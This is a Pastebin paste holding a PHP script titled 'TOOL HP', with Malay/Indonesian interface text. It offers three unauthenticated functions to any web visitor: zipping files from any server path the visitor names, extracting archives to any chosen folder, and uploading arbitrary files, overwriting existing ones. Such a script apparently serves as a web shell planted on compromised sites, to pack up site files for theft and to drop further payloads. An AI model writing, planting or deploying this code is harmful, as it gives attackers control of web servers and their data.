Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <font style="font-size:40px">TOOL HP</font>
- <br />
- <br />
- <br />
- <?php
- $zipmake = $_GET["zipmake"];
- $extracter = $_GET["extracter"];
- $uploader = $_GET["uploader"];
- $fil = $_POST["file"];
- $nama = $_POST["nama"];
- $pathlist = $_POST["pathlist"];
- $path = $_POST["localzip"];
- $pathfol = $_POST["pathfol"];
- echo "<a href='".$_SERVER['PHP_SELF']."?zipmake=pilih'><button>Zip Maker</button></a><br />";
- echo "<a href='".$_SERVER['PHP_SELF']."?extracter=pilih'><button>Zip Extracter</button></a><br />";
- echo "<a href='".$_SERVER['PHP_SELF']."?uploader=pilih'><button>File Uploader</button></a><br />";
- echo "<br /><br /><br />";
- if($zipmake != null)
- {
- if (!extension_loaded('zip')){ die("php zip is not installed in your site");}
- echo '<form action="'.$_SERVER['PHP_SELF'].'?zipmake=pilih" method="post">folder file list path:<br /> <input name="pathlist" value="'.getcwd().'/"><br /><input type="submit"></form>';
- if($pathlist != null)
- {
- $listfile = @scandir($pathlist);
- if(!empty($listfile))
- {
- echo "ZIP maker <br /><br /><form action='".$_SERVER['PHP_SELF']."?zipmake=pilih' method='post'>";
- foreach($listfile as $file)
- {
- if(is_file($file))
- {
- echo '<input type="checkbox" name="file[]" value="'.$file.'">'.$file.'<br />';
- }
- }
- echo "save as :<input name='nama' value='newzip.zip'><br /><input type='submit'></form>";
- }
- else
- {
- echo "failed to open folder";
- }
- }
- if($fil && $nama != null)
- {
- $f = fopen($nama, "w");
- fwrite($f, "");
- fclose($f);
- echo $nama;
- $zip = new ZipArchive;
- if ($zip->open($nama) === TRUE)
- {
- foreach($fil as $zipfile)
- {
- $zip->addFile(getcwd().'/'.$zipfile, $zipfile);
- }
- $zip->close();
- }
- else
- {
- echo 'failed';
- }
- }
- }
- elseif($extracter != null)
- {
- if (!extension_loaded('zip')){ die("php zip is not installed in your site");}
- echo "zIp EXTRACTER<br /><br />";
- echo "<form action='".$_SERVER['PHP_SELF']."?extracter=pilih' method='post'>path zip file: <input name='localzip' value='".getcwd()."/zipfile.zip'><br />path to extract: <input name='pathfol' value='".getcwd()."/'><br /><input type='submit' value='extract'></form>";
- if($pathfol && $path != null)
- {
- $zip = new ZipArchive;
- if ($zip->open($path) === true)
- {
- for($i = 0; $i < $zip->numFiles; $i++)
- {
- $zip->extractTo($pathfol, array($zip->getNameIndex($i)));
- echo "file : ".$path." Extracted to ".$pathfol;
- }
- $zip->close();
- }
- else
- {
- echo "failed to extract ".$path." file";
- }
- }
- }
- elseif($uploader != null)
- {
- echo 'File uploader <br /><br /><form action="'.$_SERVER['PHP_SELF'].'?uploader=pilih" method="post" enctype="multipart/form-data"> <input type="file" name="f"><br><input type="submit" name="submit" value="Submit"></form>';
- if(isset($_FILES["f"])){
- @unlink($_FILES["f"]["name"]);
- move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"]);
- echo "File uploaded!";
- }
- }
- else
- {
- echo "Sila pilih tool";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement